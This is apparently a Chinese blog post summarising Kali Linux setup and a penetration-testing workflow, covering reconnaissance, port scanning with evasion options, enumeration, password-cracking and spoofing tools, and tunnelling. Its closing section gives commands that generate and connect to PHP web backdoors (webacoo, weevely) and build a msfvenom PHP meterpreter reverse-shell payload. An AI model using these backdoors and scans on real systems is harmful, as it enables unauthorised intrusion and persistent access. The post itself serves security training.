kali-linux知识整理与渗透测试指南

Kali Linux入门与介绍

一、kali的主要特色

kali 官网 :https://www.kali.org/
基于Debian的Linux发行版

集成300多个渗透测试程序

支持绝大多数无线网卡

二、网络服务配置

1. 设置固定ip:

虚拟机的网络设置文件

/etc/network/interfaces

在这里插入图片描述

2. 临时ip配置命令
ifconfig eth0 192.168.43.100 netmask 255.255.255.0					//ip
route add default gw 192.168.43.1									//网关路由
systemctl restart networking.service								//重启网络恢复
3. dmesg命令的作用:

查看无线网卡硬件信息,查看内核环形缓冲区信息
在这里插入图片描述

4. 开启和关闭网络的命令

这里使用systemctl 或者 service 命令均可,语法基本相同,老版本的kali可能只支持service命令
常用的语法有:

start			//开启
stop			//关闭
restart			//重启
5. kali中常用服务

http(apache)

service apache2 start //启动
service apache2 stop //关闭
service apache2 restart //重启
update-rc.d apache2 defaults //自启

mysql

service mysql start //启动
service mysql stop //关闭
service mysql restart //重启
update-rc.d mysql defaults //自启
mysql -u root -p //登录

ssh

service ssh start //启动
service ssh stop //关闭
service ssh restart //重启
update-rc.d ssh defaults //自启

在这里插入图片描述

三、系统更新

命令
apt-get update
apt-get upgrate
apt-get dist-upgrade

PS:最新版的kali也就是2020年版兼容性并不好,而且移除了许多我常用的工具,个人不推荐更新,有需求除外。

aptcache search <包名>			//在软件仓库查找某个软件包的名称
apt-get install <包名>			//指定安装某个软件

渗透测试概述

一、五个测试框架的方法论

开源安全测试方法论

信息系统安全评估框架

开放式web应用安全项目

web应用安全联合威胁人类

渗透测试执行标准

二、通用渗透测试框架

范围界定

信息收集

目标识别

服务枚举

漏洞映射

社会工程学

漏洞利用

提升权限

访问维护

文档报告

在这里插入图片描述

渗透测试实施步骤

一、信息搜集

whois命令的定义、使用和用法

whois example.com
该命令会返回example.com域名注册人信息和联系方式等域名的详细信息。
官网:https://who.is/

在这里插入图片描述

DNS 记录分析
1. host
host www.example.com

无参数时只返回ip地址(ipv4)

host -a www.example.com

加入参数-a ,返回所有dns记录

在这里插入图片描述

2. dig
dig example.com

无参数时只返回A记录地址(IPV4)

dig example.com any

加入参数any,返回所有dns记录

在这里插入图片描述

3. dnsenum
dnsenum example.com

默认情况下,会返回主机地址、名称解析服务器和邮件服务器的IP地址信息
如果你有字典,可以用此工具爆破子域名
dnsenum -f dns.txt example.com

在这里插入图片描述

4. dmitry
dmitry -iwnse targethost

进行whois查询

在Netcraft.com的网站上挖掘主机信息

搜索所有可能的子域

搜索所有可能的电子邮件地址

在这里插入图片描述

dmitry targethost -f -b

做简单的端口扫描(很慢,而且不怎么好用,不推荐)

在这里插入图片描述

路由信息
1. tcptraceroute
tcptraceroute example.com

在已知目标web服务器开放了使用TCP协议的80端口。使用上述命令可以获取从本机到目标主机完整的路由信息。

ps:容易被防火墙拦截

2. tctrace
tctrace -i eth0 -d example.com

指定网卡eth0获取本机和example.com之间的路由信息
在这里插入图片描述

目标识别

博客分栏 渗透测试常用工具-目标识别

1. ping
ping -c 10 example.com
ping -c 10 192.168.123.256

-c参数指定发送数据包的数量(执行次数)

-i 参数指定源地址或网络接口(网卡)

-s 指定数据包大小(默认大小64字节)
在这里插入图片描述

2. arping
arping 192.168.56.102 -c 1

查看局域网内主机是否在线,-i参数指定网卡,-c参数指定次数

在这里插入图片描述

3. fping
fping 192.168.1.1 192.168.1.100 192.168.1.107

检测这三台主机是否在线

fping -g 192.168.56.0/24

检测整个网段

fping -r 1 -g 192.168.1.1 192.168.1.10

参数-r指定重试次数,默认为3

fping -s www.baidu.com www.cqcet.edu.cn www.csdn.net

-s 参数查看多个目标的统计结果

在这里插入图片描述

4. hping3

主要用途

测试防火墙规则

测试入侵检测系统/IDS

测试TCP/IP模式的安全漏洞

hping3 -0 192.168.56.101  发送原始IP包(--raw-ip)
hping3 -1 192.168.56.101  发送ICMP包(--icmp)
hping3 -2 192.168.56.101  发送UDP包(--udp)
hping3 -8 192.168.56.101  进入扫描模式(--scan)
hping3 -9 192.168.56.101  进入监听模式(--listen)
5. nping
nping --tcp-connect -c 1 -p 22 192.168.56.102  基础的tcp-connect功能
nping --tcp -c 1 -p 22 192.168.6.102           TCP模式
nping --udp -c 1 -p 22 192.168.6.102           UDP模式
nping --icmp -c 1 -p 22 192.168.6.102          ICMP模式(默认模式)
nping --arp -c 1 -p 22 192.168.6.102           ARP/RARP模式
nping --tr -c 1 -p 22 192.168.6.102            traceroute模式
6. nbtscan
nbtscan 192.168.1.1-254

搜索局域网内各个主机的NetBIOS名称

nbtscan -hv 192.168.1.1-254

-hv参数查看运行了那些服务

在这里插入图片描述

7. uniscan

操作系统识别

1. p0f

可以识别以下几种主机

连接到您主机的机器(SYN模式,即默认模式)

主机可以访问的机器(SYN+ACK模式)

主机不能访问的机器(RST+模式)

可以监控到其网络通信的机器

p0f -f /etc/p0f/p0f.fp -o p0f.log

开放80端口让靶机访问
在这里插入图片描述

2. nmap
nmap -O 192.168.43.89			//操作系统识别

识别率并不是很高
在这里插入图片描述

服务枚举

渗透测试常用工具-amap服务枚举

网络扫描

1. nmap

主要功能

主机探测

端口扫描

服务/版本检测

操作系统检测

网络路由跟踪

Nmap脚本引擎

nmap -sT 192.168.43.89							//TCP连接扫描
nmap -sS 192.168.43.89							//SYN扫描
nmap -sN 192.168.43.89 							//TCP NULL扫描
nmap -sF 192.168.43.89  						//TCP FIN扫描
nmap -sX 192.168.43.89  						//TCP XMAS扫描
nmap -sM 192.168.43.89  						//TCP Maimon扫描
nmap -sA 192.168.43.89  						//TCP ACK扫描
nmap -sW 192.168.43.89  						//TCP 窗口扫描
nmap -sI 192.168.43.89  						//TCP Idel扫描 
扫描选项
-p 端口范围 :只扫描指定的端口
-F (快速扫描):仅扫描100个常用端口
-r (顺序扫描):按照从小到大的顺序扫描端口
--top-ports <1 or greater> 扫描nmap-services里排名前N的端口
目标端口选项

交互(屏幕)输出
正常输出(-oN)不显示runtime信息和警告信息
XML文件(-oX)生成的XML格式文件可以转换成html文件,也可以被图形用户界面解析,便于导入数据库
生成便于Grep使用的文件(-oG)

输出选项

-T 指定时间排程控制的模式

时间排程控制选项

nmap -sV 192.168.43.89 -p 22    				//服务版本识别
nmap -O  192.168.43.89          				//操作系统检测
nmap -Pn 192.168.43.89          				//禁用主机检测
nmap -A  192.168.43.89          				//综合扫描
常用选项
-sC 或 --script = default         启动默认类NES脚本
--script <filename>|<category>|<directories>  根据指定的文件名、类别名、目录名,执行相应的脚本
--script-args<args>               给脚本指定参数
脚本引擎
-f 使用小数据包
--mtu 调整数据包的大小
-D    指定假IP
--source-port<portnumber>或-g  模拟源端口
--data-length 改变发送的数据包的默认长度
--max-parallelism  限制nmap并发扫描的最大连接数
--scan-delay<time>  控制发送探测数据的时间间隔

edit

2. Unicornscan

-m U 检测UDP协议
-m T 检测TCP协议

-Iv 查看详细输出

-r 调整发包速率

unicornscan -m U -Iv 192.168.43.89:1-65535 -r 10000
unicornscan -m T -Iv 192.168.43.89:1-65535 -r 10000

在这里插入图片描述

SMB枚举

1. nbtscan
nbtscan 192.168.56.1-254

搜索192.168.56.0内各个主机的NetBIOS名称

nbtscan -hv 192.168.56.102

查看192.168.56.102这台主机的网络服务
在这里插入图片描述

SNMP枚举

渗透测试常用工具-ADMsnmp进行snmp分析

1. onesixtyone
onesixtyone 192.168.56.102

搜索主机支持的SNMP字符串

onesixtyone -d 192.168.56.102

进行更加细致的扫描

2. snmpcheck
snmpcheck -t 192.168.56.102

搜集SNMP设备的有关信息

VPN 枚举

1. ike-scan
ike-scan -M -A -Pike-hashkey 192.168.0.10

探测、识别、测试一台IPSec VPN服务器

-M 将payload的解码信息分为多行显示,以便于阅读

-A 使用IKE的aggressive mode

-P 将aggressive mode的与共享密钥哈希值保存为文件

漏洞映射

一、漏洞类型

本地漏洞

远程漏洞

二、漏洞扫描器

OpenVAS

Cisco分析工具

Cisco Auditing Tool(cat)

运行:

 cd /usr/share/
 CAT --help

命令:
-h 指定主机名(在扫描单个主机时使用该选项)
-w 指定字典名称(以猜测团体字符串)
-a 指定密码列表(以穷举密码)
-i 及[ioshist](检查该IOS在历史上出现过的bug)

在这里插入图片描述

Cisco Global Exploiter(cge)

运行:

 cd /usr/bin/
 cge.pl

命令

cge.pl 10.200.213.25 3

在这里插入图片描述

第三类测试

WebCrack

FUZZ(模糊)分析工具

BED(待续)

JBroFuzz(待续)

三、SMB分析工具

ImpacketSamrdump

(待续)

四、SNMP分析工具

SNMP Walk

(待续)

五、Web程序分析工具

数据库评估工具

DBPwAudit(待续)

sqlmap

SQL Ninja(待续)

Web应用评估工具

Burpsuite (待续)

nikto

Paros Proxy(待续)

W3af(待续)

WafW00f(待续)

Webscarab(待续)

漏洞利用

MSFConsole
MSFConsole_常用模块
MSFConsole_后渗透模块

提权

一、分类

纵向提权

横向提权

二、利用本地漏洞

三、密码攻击

基于所知
基于所有
基于特征
离线攻击
在线攻击

hash-idntifire 判断hash算法 — 只有知道被测系统采用的hash算法,才能使用密码破解

hashcat 多线程密码破解,完全利用CPU

RainbowCrack 利用彩虹表破解,空间换取时间

samdump2 破解windows系统账号的密码

John 破解hash,破解DES crypt类型优异

Johnny John的图形化版

Crunch 创建密码字典,可用于暴力破解

Ophcrack 基于彩虹表的 LM/NTML类型

在线破解工具

CeWL 爬虫模式在指定URL上收集单词的工具,把收集到的单词纳入字典,提高爆破命中率

Hydra 在线破解密码

Medusa 在线破解密码

四、网络欺骗工具

网络嗅探与网络欺骗

DNSchef

替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色

arpspoof

在交换网络中辅助进行网络监听的实用工具

Ettercap

在LAN中进行中间人攻击的工具

五、网络嗅探器

Dsniff

tcpdump

Wireshark

访问维护

一、操作系统后门

Cymothoa

Intersect

Meterpreter

二、隧道工具

dns2tcp
iodine
ncat
proxychains
ptunnel
socat
sslh
stunnel4

三、创建web后门

WeBaCoo

命令:
-g 制作后门代码
-f 后门所需的php功能:system(默认)/shell_exec/exec/passthru/popen
-o 输出 指定生成的后门程序的文件名
举例:

webacoo -g -o test.php  使用默认配置生成php后门程序
webacoo -t -u http://192.168.43.89/test.php

连接到后门程序
在这里插入图片描述

weevely

生成混淆PHP backdoor,并将后门保存为display.php

weevely generate password display.php
weevely http://192.168.43.89/display.php password

访问被测主机的webshell

在这里插入图片描述

PHP Meterpreter

-p 指定payload为php/meterpreter/reverse_tcp

-f 设置输出格式

lhost 为攻击机地址
lport 为攻击机端口

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.180 LPORT=1234 -f raw > a.php

在这里插入图片描述

在这里插入图片描述

发布了71 篇原创文章 · 获赞 17 · 访问量 6689

猜你喜欢

转载自blog.csdn.net/qq_38626043/article/details/105366375